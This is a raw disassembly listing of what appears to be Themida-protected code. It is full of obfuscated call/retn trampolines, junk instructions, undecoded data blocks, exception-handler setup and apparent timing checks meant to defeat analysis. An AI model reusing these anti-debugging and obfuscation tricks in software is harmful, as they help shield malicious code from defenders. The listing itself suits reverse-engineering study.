		mov	eax, eax
		mov	eax, 438h
		mov	[ebp+6130D7Dh],	eax
		lea	ebx, [ebp+615A97Dh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5BF9DF:				; CODE XREF: Themida_:005BF9C4j
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_5BF9FF
		push	eax
		push	ebx
		mov	eax, 438h
		mov	[ebp+6130D7Dh],	eax
		lea	ebx, [ebp+615A66Ch]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5BF9FF:				; CODE XREF: Themida_:005BF9E6j
		push	0
		push	ebp
		call	sub_5BFA0A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFA0A	proc near		; CODE XREF: Themida_:005BFA02p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5BFA0A	endp

; ---------------------------------------------------------------------------
		xchg	eax, edx
		jz	short locret_5BFA90
		push	0
		push	ebx
		call	sub_5BFA28
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFA28	proc near		; CODE XREF: Themida_:005BFA20p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5BFA28	endp

; ---------------------------------------------------------------------------
		add	eax, 6D8F10EDh
		adc	ebx, ebx
		leave
		mov	eax, eax
		xor	esi, [ebp+6132965h]
		call	sub_5C01E6
		push	0
		push	ecx
		call	sub_5BFA58
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFA58	proc near		; CODE XREF: Themida_:005BFA50p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5BFA58	endp

; ---------------------------------------------------------------------------
		dd 39610A95h, 0BA82F257h, 0F860DB74h, 1ECD9523h, 66610613h
		dd 5E50CF81h, 13D18589h, 6A0613h, 3E853h, 5B200000h
; ---------------------------------------------------------------------------

locret_5BFA90:				; CODE XREF: Themida_:005BFA1Bj
		retn
; ---------------------------------------------------------------------------
		pop	ebx
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 18h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		pop	ebx
		imul	ecx, esp, -0Ch
		xchg	eax, esp
		call	sub_5C01E6
		push	0
		push	eax
		call	sub_5BFAB6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFAB6	proc near		; CODE XREF: Themida_:005BFAAEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5BFAB6	endp

; ---------------------------------------------------------------------------
		xor	[edx+4Ch], ah
		adc	edi, [ecx+1Ah]
		xchg	ebp, [eax-307E99FEh]
		enter	0FFFF8916h, 85h
		xchg	eax, ebp
		sbb	dl, [ebx]
		push	es
		push	0
		push	ecx
		call	sub_5BFAE5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFAE5	proc near		; CODE XREF: Themida_:005BFADDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5BFAE5	endp

; ---------------------------------------------------------------------------
		db 76h,	0E8h, 0Bh
		dd 4B000000h, 0DF82C94Dh, 59EE4D2Eh, 8D8B2DDAh,	61318B9h
		dd 6D4E85Eh, 0B5890000h, 6132F8Dh, 28318589h, 8B660613h
		dd 6C0E8F8h, 85890000h,	613005Dh, 0BE8h, 0B0024E00h, 0DE908DE8h
		dd 7395387Ch, 8E9h, 51537D00h, 0FC7718AAh, 97E85EF2h, 6A000006h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 9BC4C355h, 4782A1EAh, 9589EA3Bh, 61322ADh
		dd 302D8589h, 8B660613h, 660E8F7h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A86B17C3h
		dd 0AE99EC6h, 0ED000000h, 0B7D6D9D0h, 4BBF9962h, 0ED858924h
		dd 6A061331h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0BC5FC353h, 0EB1F2BB3h, 8F0F86h
		dd 0E8000000h, 5FEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 6CC35343h, 0A984C2BFh, 5D858921h, 6A061312h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 3358C353h, 132385BDh, 0FA8B6606h,	5ADE8h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 5B07F1F8h, 0FE91A466h, 858986BFh, 6131B65h
		dd 38F0Fh, 0F5570000h, 574E85Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0CC6565C3h
		dd 6D2F33AEh, 8589F8F5h, 6131139h, 0C2E5B966h, 541E8h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0FC221182h, 4D958B60h, 0F061317h, 1386h
		dd 0DE800h, 85990000h, 0A455C344h, 3DB07DBEh, 5FD53569h
		dd 0D5858961h, 8906130Eh, 1312A19Dh, 4F0E806h, 0B9660000h
		dd 8D8B4346h, 6132A09h,	0B018589h, 66560613h, 5E9085B9h
		dd 10E8h, 154AB900h, 0AF4668FCh, 0A08C7017h, 0B294BF1Ch
		dd 0BFE85EA9h, 29000004h, 132A6D85h, 1858906h, 0F061321h
		dd 684h, 8D8D8B00h, 0E8061319h,	4A2h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 22C35040h, 157D5512h, 4B272655h
		dd 0A185892Ch, 6A06132Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0AD31C353h,	89CB702Ch
		dd 13178595h, 4BE8F806h, 6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1425C351h
		dd 1CE6F556h, 0B9858905h, 0FC061320h, 41DE8h, 96C68100h
		dd 8966849Eh, 13230985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 4F050D5Eh, 8CE125F3h
		dd 1FE99D89h, 0E3E80613h, 6A000003h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 2B8DC357h
		dd 8960DAE1h, 132035B5h, 85896106h, 6132331h, 28799589h
		dd 0B00613h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	4AC35040h, 0E5B4D440h, 0D2987D16h, 0FCA8B66h, 160D8B6h
		dd 132161B5h, 0DE806h, 801A0000h, 0E26D06EFh, 75820F36h
		dd 0FDD6899h, 8Dh, 0BA615F00h, 6, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 5EC35646h, 4760EE82h, 0E66AE729h
		dd 17419D89h, 0C38B0613h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0FEC35141h, 7564730Eh, 0A1B72BCBh, 8B04E8C1h
		dd 131125B5h, 0DAB96606h, 0E2F76645h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 76C35040h, 0DB4ADFBEh, 9DC5808h
		dd 0F98D0B89h, 2B061304h, 52006AD8h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 7EF4AE47h
		dd 5A762F56h, 2800Fh, 0F88B0000h, 241C8950h, 0C69B501h
		dd 95FF0613h, 6132111h,	1375B58Bh, 6A5B0613h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0CF43C352h, 8D01487Fh, 613120Dh, 2FCD958Dh, 6A0613h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 810D02C3h, 0E961BF4Fh, 14h, 0DDB5FFDBh, 0B8B469DAh
		dd 86AC9ACFh, 469DB802h, 0B439EC4Ah, 0BF0F1A89h, 1D8D8BC8h
		dd 8906131Eh, 6A0442h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 70D628C3h, 60F08BB5h, 2890Fh, 5E500000h
		dd 1AF98529h, 8D610613h, 13109595h, 0C88B6606h,	12E9h
		dd 3D931A00h, 1D4049DAh, 57545B4Dh, 3EB178E7h, 89267091h
		dd 51006A1Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0D1B105A0h, 6A044289h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0BC3FC355h
; ---------------------------------------------------------------------------


loc_5C005C:				; DATA XREF: ___:off_443EACo
		adc	ebp, [ecx+21B50354h]
		adc	[ebx], edx
		push	es
		mov	cx, dx
		lea	edx, [ebp+613189Dh]
		sub	[ebp+6132A45h],	edi
		mov	[edx], ebx
		mov	[ebp+6130F75h],	ecx
		mov	[edx+4], eax
		push	0
		push	ebx
		call	sub_5C008A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C008A	proc near		; CODE XREF: Themida_:005C0082p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5C008A	endp

; ---------------------------------------------------------------------------
		xchg	eax, esp
		lea	edx, [ebp+61329B1h]
		add	[ebp+6131919h],	eax
		clc
		mov	[edx], ebx
		push	0
		push	edx
		call	sub_5C00B5
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C00B5	proc near		; CODE XREF: Themida_:005C00ADp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5C00B5	endp

; ---------------------------------------------------------------------------
		db 22h,	0DFh, 8Eh
; ---------------------------------------------------------------------------
		mov	al, 0A4h
		stosd
		lodsb
		mov	[edx+4], eax
		cld
		mov	[ebp+6132D11h],	eax
		lea	edx, [ebp+61300BDh]
		push	0
		push	ebx
		call	sub_5C00E7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C00E7	proc near		; CODE XREF: Themida_:005C00DFp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5C00E7	endp

; ---------------------------------------------------------------------------
		mov	esi, 5DBD8B62h
		and	dl, [ebx]
		push	es
		mov	[edx], ebx
		push	0
		push	ecx
		call	sub_5C010C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C010C	proc near		; CODE XREF: Themida_:005C0104p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5C010C	endp

; ---------------------------------------------------------------------------
		dd 42CF813Ch, 8947D4C2h, 0B58B0442h, 61319E9h, 19958Dh
		dd 6A0613h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0E68FC3C3h, 9F5B0E96h, 9E9h, 0E3CDAA00h
		dd 0B562FBF9h, 1A891F62h, 860F6050h, 0
; ---------------------------------------------------------------------------
		popa
		pop	esi
		mov	[edx+4], eax
		push	0
		push	esi
		call	sub_5C017C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C017C	proc near		; CODE XREF: Themida_:005C0174p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5C017C	endp

; ---------------------------------------------------------------------------
		and	al, 7Ah
		das
		or	dl, [ebx]
		mov	esi, [ebp+61301B1h]
		lea	edx, [ebp+6131A61h]
		mov	cl, al
		mov	[edx], ebx
		mov	esi, [ebp+6132021h]
		mov	[edx+4], eax
		mov	[ebp+6130E05h],	eax
		jmp	loc_5C01C7
; ---------------------------------------------------------------------------
		db 26h,	2Fh, 6
		dd 6CF6FBADh, 72B8617Bh, 85CDEC3Eh
		db 70h,	8Ah, 0Dh
; ---------------------------------------------------------------------------


loc_5C01C7:				; CODE XREF: Themida_:005C01B0j
		lea	edx, [ebp+6132499h]
		mov	[edx], ebx
		mov	cx, dx
		mov	[edx+4], eax
		cld
		xor	di, 5B56h
		jmp	loc_5C028C
; ---------------------------------------------------------------------------
		mov	esi, [ebp+6131DA5h]

; =============== S U B	R O U T	I N E =======================================



sub_5C01E6	proc near		; CODE XREF: Themida_:005BFA48p
					; Themida_:005BFAA6p
		push	0
		mov	[ebp+6132B99h],	esi
		push	0
		mov	cx, 72B7h
		push	0
		sub	[ebp+6131D85h],	esi
		push	0
		push	0
		push	esi
		call	sub_5C0209
		and	[esi-3Dh], bl
sub_5C01E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C0209	proc near		; CODE XREF: sub_5C01E6+1Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5C0209	endp

; ---------------------------------------------------------------------------
		db 28h,	0FCh, 8Dh
		dd 0CF63F17Ch, 0F592F1Fh, 386h,	0FB8B6600h, 128995FFh
		dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 8C07CCC3h, 950FDFA9h, 1FE9B58Bh, 6AC30613h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 5EC8C352h, 94DB3696h, 95BB760h, 1306299Dh
		dd 85896106h, 6130DD9h
; ---------------------------------------------------------------------------


loc_5C028C:				; CODE XREF: Themida_:005C01DBj
		mov	al, ch
		push	0
		push	eax
		call	sub_5C0299
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0299	proc near		; CODE XREF: Themida_:005C0291p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5C0299	endp

; ---------------------------------------------------------------------------
		wait
		stosb
		dec	edx
		cmp	[ebx], ah
		das
		pop	ebp
		dec	ebx
		and	byte ptr [eax+9], 8Dh
		cdq
		or	edx, [ebx]
		push	es
		sub	dx, 6F3Ch
		popa
		mov	eax, eax
		mov	ecx, 1541B27Fh
		cmp	dword ptr [ebp+6131625h], 0
		jnz	short loc_5C02D8
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_5C02F1


loc_5C02D8:				; CODE XREF: Themida_:005C02CDj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 438h
		mov	[ebp+6133115h],	eax
		lea	ebx, [ebp+615A9E4h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5C02F1:				; CODE XREF: Themida_:005C02D6j
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_5C0311
		push	eax
		push	ebx
		mov	eax, 438h
		mov	[ebp+6133115h],	eax
		lea	ebx, [ebp+615A685h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5C0311:				; CODE XREF: Themida_:005C02F8j
		push	0
		push	edi
		call	sub_5C031C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C031C	proc near		; CODE XREF: Themida_:005C0314p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5C031C	endp

; ---------------------------------------------------------------------------
		pop	ss
		mov	eax, 46BE1FD8h
		adc	eax, 664C0FA0h
		xor	edi, 0B58B348Bh
		pop	ecx
		xor	dl, [ebx]
		push	es
		mov	eax, eax
		lea	eax, [ebp+6131EA9h]
		adc	bh, 6Fh
		nop
		mov	bx, dx
		push	eax
		mov	edi, 6B2D66DAh
		nop
		push	0
		push	eax
		call	sub_5C0362
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0362	proc near		; CODE XREF: Themida_:005C035Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5C0362	endp

; ---------------------------------------------------------------------------
		dw 6C5Ch
		dd 37FF4D79h, 0FE1A8674h, 6ADE8Bh, 38E0Fh, 0BF0F0000h
		dd 6A006AF9h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0E205C356h, 8D50911Eh,	17425085h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 8DF97D91h, 0C0837E17h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 56BF50B1h, 893DA10Eh, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0B334EBC3h, 64AF9D83h
		dd 0BFE9DBF1h, 274AB876h, 16C5BD8Bh, 6A0613h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 41C35040h, 182DEF8Dh
		dd 6A9C30h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 16h,	0A3C35141h, 95FF0D83h, 61307F1h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 96C35747h, 8DBFCB99h
		dd 3139E38Dh, 6A8D8D5Ch, 6A0616A3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A7E1C350h
		dd 6330858Dh, 0FF1F57BCh, 0BD83FCD1h, 613173Dh,	47850F01h
		dd 8B000000h, 133029BDh, 6AFAB706h, 6050F902h, 66DA8B66h
		dd 8961F88Bh, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 987E5EC3h, 9986951Dh, 0A8DBD03h
		dd 95FF0613h, 6131E95h,	0E7E9AAB3h, 0E800000Dh,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 617425Ah
		push	0
		push	esi
		call	sub_5C0536
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0536	proc near		; CODE XREF: Themida_:005C052Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5C0536	endp

; ---------------------------------------------------------------------------
		dw 0F98Ch
; ---------------------------------------------------------------------------
		pop	esi
		aad	0E2h
		push	cs
		das
		fimul	word ptr [ebx]
		mov	ebp, 613282Dh
		jmp	loc_5C055E
; ---------------------------------------------------------------------------
		db 5Bh,	0A9h, 0CCh
; ---------------------------------------------------------------------------
		mov	dl, 51h


loc_5C055E:				; CODE XREF: Themida_:005C0554j
		mov	edi, [ebp+61305F1h]
		lea	eax, [ebp+6168F5Eh]
		mov	edi, 8FC93Bh
		push	eax
		jmp	loc_5C057F
; ---------------------------------------------------------------------------
		align 2
		dw 38A1h
		dd 4645F240h
		db 0A2h, 3Ah, 26h
; ---------------------------------------------------------------------------


loc_5C057F:				; CODE XREF: Themida_:005C0570j
		mov	[esp], eax
		xor	di, 0FE29h
		push	large dword ptr	fs:0
		mov	ebx, [ebp+61301E5h]
		mov	large fs:0, esp
		ja	loc_5C05A7
		sub	[ebp+6132439h],	esi


loc_5C05A7:				; CODE XREF: Themida_:005C059Bj
		inc	dword ptr [ebp+61316D9h]
		push	0
		push	edx
		call	sub_5C05B8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C05B8	proc near		; CODE XREF: Themida_:005C05B0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5C05B8	endp

; ---------------------------------------------------------------------------
		dd 2C1184EAh, 81D6E574h, 1F1891E7h, 0FF6AFC24h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 42C35545h, 6CEA4C2Bh
		dd 9531580Fh, 6130C19h,	13D1B5FFh, 0BB660613h, 95FF1B99h
		dd 61331ADh, 118E9h, 85BD2900h,	0B0061323h, 0E65F5200h
		dd 12E970h, 5D1F0000h, 0DCCB883Bh, 441D41B2h, 0B5526A9Bh
		dd 0F054A652h, 13E971E4h, 86000000h, 0A8CCFFDCh, 0FB333A91h
		dd 7E7C64CCh, 0D5C7BE2Eh, 3CFCDCE1h, 0D2830F61h, 60000000h
		dd 5E9h, 15836B00h, 8589A87Bh, 6133511h, 0C8B60F61h, 6BAD88Ah
		dd 8B000000h, 0E19D8BC1h, 0C1061323h, 9D8904E8h, 61301F5h
		dd 89E2F766h, 131411BDh, 23C82B06h, 131FF5BDh, 0BD18B06h
		dd 130961BDh, 6E906h, 0B5290000h, 6131425h, 2FCD858Bh
		dd 8D890613h, 6132255h,	6607C083h, 83B226BFh, 0BD8B00C0h
		dd 61331E5h, 830FD03Bh,	10h, 0CB5CDCBBh, 53E961h, 0BD090000h
		dd 613233Dh, 16A18D8Bh,	8E90613h, 0D4000000h, 57B0D7A9h
		dd 832F54B3h, 840F01E1h, 31h, 0EE9h, 3876DD00h,	3D2C08FFh
		dd 0A296E20Dh, 83ACBC2Ah, 1316A1A5h, 0BD89FE06h, 6131EC1h
		dd 2FCD9589h, 890F0613h, 0
; ---------------------------------------------------------------------------
		jmp	$+5
		lea	esi, [ebp+616DB8Bh]
		mov	di, ax
		push	0
		mov	ebx, [ebp+6131AEDh]
		adc	di, 0C8D4h
		call	dword ptr [ebp+6130DA9h]
		push	0
		push	ebx
		call	sub_5C0754
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0754	proc near		; CODE XREF: Themida_:005C074Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5C0754	endp

; ---------------------------------------------------------------------------
		inc	ebx
		cmc
		mov	eax, ds:0A84CD19Bh
		adc	[eax], ecx
		db	3Eh
		mov	bl, 8Dh
		mov	ecx, 889h
		sub	[ebp+61318E1h],	edx
		and	ecx, 0FFFFFFFCh
		and	ebx, [ebp+613063Dh]
		stc
		cld
		pusha
		mov	bx, cx
		mov	di, si
		popa
		mov	eax, 0
		push	0
		push	esi
		call	sub_5C079E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C079E	proc near		; CODE XREF: Themida_:005C0796p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5C079E	endp

; ---------------------------------------------------------------------------
		or	al, 1Ch
		imul	ecx, [ebx+132C599Dh], 6
		sub	edx, edx
		push	0
		push	ecx
		call	sub_5C07C4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C07C4	proc near		; CODE XREF: Themida_:005C07BCp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5C07C4	endp

; ---------------------------------------------------------------------------
		dd 6E2F1E38h, 14F5BD8Bh, 33AD0613h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 1AC69CC3h, 5FC61BBEh, 0BD33EE74h,	6131A01h
		dd 880Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0E0A6E69Fh, 958BD98Bh, 6131BBDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 78C35242h
		dd 2D63EF23h, 0DD8D8B04h, 6A061318h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 6B4AC350h
		dd 8C3FA23Dh, 8B66B741h, 959D8BFBh, 50061325h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 56006A58h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 315716BFh
		dd 13198585h, 0F7816606h, 0BD836813h, 6131D1Dh,	7D840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 6670C357h, 0B70FF98Bh,	0B8D8h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 8983E5C3h, 132A358Dh, 8D8D8D06h, 8A06134Fh
		dd 6AE1FFDEh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0CD6EC350h, 0D11143DFh, 0D781206Ah
		dd 647F8FFCh, 3055BD83h, 0F000613h, 3BA84h, 7CEF8000h
		dd 3055BD83h, 0F010613h, 3C584h, 83FA8B00h, 133055BDh
		dd 860F0306h, 380h, 1B318589h, 0E9600613h, 12h,	1A3BC6Fh
		dd 0F42AAAFBh, 0E0C0341Ah, 47351328h, 9589B124h, 6133075h
		dd 51D98C66h, 1BCDBD8Bh, 665F0613h, 44F8CF81h, 904E180h
		dd 131FD19Dh, 0FC90A06h, 0E684h, 0BE666000h, 0BD898BE8h
		dd 6132C75h, 0B9858B61h, 6A06132Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0A317C353h
		dd 396DE772h, 0A195894Bh, 33061308h, 1305B985h,	0F8BF0F06h
		dd 91B75350h, 2404895Bh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 4AC35040h, 2BE5D049h,	131AF99Dh, 0E9006A06h
		dd 0Fh,	871D517h, 408FCD9Eh, 3E03A5A3h,	68E9EAF3h, 9ACD55C4h
		dd 81FE8B66h, 0AE3B2404h, 800F6551h, 6,	159589h, 95FF0613h
		dd 6130A3Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	22C35141h, 94F822B5h, 0FC8C4CF5h, 23799D2Bh, 85890613h
		dd 616C454h, 2B008CBFh,	1EBE96Ah, 0D88B0000h, 8BF9C380h
		dd 16C44C85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 9F26BD7Dh, 0FAEE3C0Dh, 14E9BAA0h
		dd 6B000000h, 6A58D680h, 33C63771h, 0FC164247h,	0EEEA863h
		dd 0E91870E3h, 5, 0EF8CCD1Dh, 1800C792h, 0F000000h, 28Ah
		dd 8BD98B00h, 16C450B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 8BCA62Ah, 85BD8B63h, 8B061330h
		dd 132A5585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0BD0B2D1Bh, 6131CC9h, 0AE80689h
		dd 4F000000h, 0F83AB423h, 98767DFCh, 3840FA5h, 80000000h
		dd 665FA5DBh, 0C961EF81h, 2BB9858Bh, 0BD8B0613h, 6131FB1h
		dd 6A044689h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 9317C357h, 8119BEA8h, 9D6306CFh
		dd 7EB39658h, 6A9650h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0CC9714C3h, 85374640h, 6C99D0Bh
		dd 0B5FF0613h, 616C44Ch, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0F7C35545h, 50AA59DEh, 0E439BC6Dh, 0AE8F585h
		dd 4E000000h, 0CCC2327h, 0C4FC91B2h, 5F5B56CAh,	144A8C68h
		dd 0AE87Ah, 603B0000h, 0C5C3B4CAh, 5A14893Fh, 8E9h, 0F87DB600h
		dd 2E9A4179h, 34815F62h, 0B497324h, 54858D7Ah, 890616C4h
		dd 1313AD85h, 0D19D8B06h, 90061325h, 0D98B5250h, 5250310Fh
		dd 8B66310Fh, 5A585AD9h, 60605058h, 310F5250h, 5250585Ah
		dd 585A310Fh, 61605361h, 8B906159h, 130BAD9Dh, 3D95FF06h
		dd 8B06130Ah, 1305359Dh, 6A6106h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 562865C3h, 1F359D89h
		dd 0C75B0613h, 13305585h, 306h,	0F5B58900h, 8306131Dh
		dd 16C454BDh, 840F0006h, 2Ch, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 3BC35747h, 5E9h, 0CCF69B00h
		dd 1CE9C411h, 0FC000000h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85600h, 20000000h, 895EC35Eh
